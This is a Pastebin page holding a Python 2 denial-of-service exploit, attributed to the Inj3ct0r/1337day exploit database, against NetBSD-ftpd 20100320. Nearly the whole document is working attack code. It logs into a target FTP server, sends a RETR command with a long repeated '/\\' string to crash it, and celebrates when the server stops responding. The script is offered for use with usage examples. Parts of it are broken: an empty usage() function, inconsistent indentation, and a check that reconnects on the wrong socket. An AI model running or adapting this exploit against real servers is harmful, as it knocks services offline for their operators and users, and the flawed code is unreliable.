Tr3v0r

[BSD] NetBSD-ftpd 20100320 Remote DDoS

Sep 8th, 2014
313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.99 KB | None | 0 0
  1. #!/usr/bin/python
  2. #
  3. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
  4. 0     _                   __           __       __                     1
  5. 1   /' \           __  /'__`\        /\ \__  /'__`\                  0
  6. 0  /\_, \   ___   /\_\/\_\ \ \   ___\ \ ,_\/\ \/\ \ _ ___           1
  7. 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
  8. 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
  9. 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
  10. 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
  11. 1                  \ \____/ >> Exploit database separated by exploit   0
  12. 0                   \/___/          type (local, remote, DoS, etc.)    1
  13. 1                                                                      1
  14. 0  [+] Site            : 1337day.com                                   0
  15. 1  [+] Support e-mail  : submit[at]1337day.com                         1
  16. 0                                                                      0
  17. 1               #########################################              1
  18. 0               I'm Angel Injection member from Inj3ct0r Team          1
  19. 1               #########################################              0
  20. 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
  21. # Title NetBSD-ftpd 20100320 Remote DDoS
  22. from socket import *
  23. import os
  24. import sys
  25. from time import sleep
  26. if os.name == 'nt':
  27.     os.system("cls")
  28.     os.system("color 4f")
  29. else:
  30.     os.system("clear")
  31. def usage():
  32. if len(sys.argv) !=5:
  33.     usage()
  34.     print "\t\t Usage: %s <Host> <Port> <User> <Pass>" % sys.argv[0]
  35.         print "\t\t EX: %s 192.168.1.1 21 Inj3ct0r Inj3ct0r" % sys.argv[0]
  36.     sys.exit(0)
  37. host = sys.argv[1]
  38. porta = int(sys.argv[2])
  39. user = sys.argv[3]
  40. pasw = sys.argv[4]
  41. exploit = "/\\" * (6000/3)
  42. usage()
  43. print "\t\t[+]Connecting to Ftp Server "+host+"...\n"
  44. sleep(1)
  45. s = socket(AF_INET,SOCK_STREAM)
  46. try:
  47.     s.connect((host,porta))
  48.     sleep(1)
  49.     banner = s.recv(2000)
  50.     if banner.find("NetBSD-ftpd") == -1:
  51.          sleep(1)
  52.          sys.exit(0x00)
  53.     sleep(1)
  54.     s.send("USER "+user+"\r\n")
  55.     s.recv(200)
  56.     s.send("PASS "+pasw+"\r\n")
  57.     check = s.recv(2000)
  58.     if check.find("230") == -1:
  59.          print "\t\t[+] Login Errors Check Your Username or Password\n"
  60.          sleep(1)
  61.          sys.exit(0)
  62.     print "\t\t[+]Send...\n"
  63.     sleep(1)
  64.     s.send("RETR "+exploit+"\r\n")
  65.     s.close()
  66.     print "\t\t[+]Exploit Success\n"
  67.     sleep(1)
  68.     print "\t\t[+]Checking\n"
  69.     sleep(1)
  70.     try:
  71.          so = socket(AF_INET,SOCK_STREAM)
  72.          s.connect((host,porta))
  73.          print "\t\t[+]Exploit Not Work (\n"
  74.      sleep(1)
  75.     except:
  76.          print "\t\t[+]Congratulations, worked with the Exploit Success:)\n"
  77.      sleep(1)
  78. except:
  79.     print "\t\t[+]connecting Errors\n"
  80.     sleep(1)
  81.  
  82.  
  83.  
  84. # BCF7214972AB5943   1337day.com [2014-09-08]   658AEAC126BAB114 #
Advertisement
Add Comment
Please, Sign In to add comment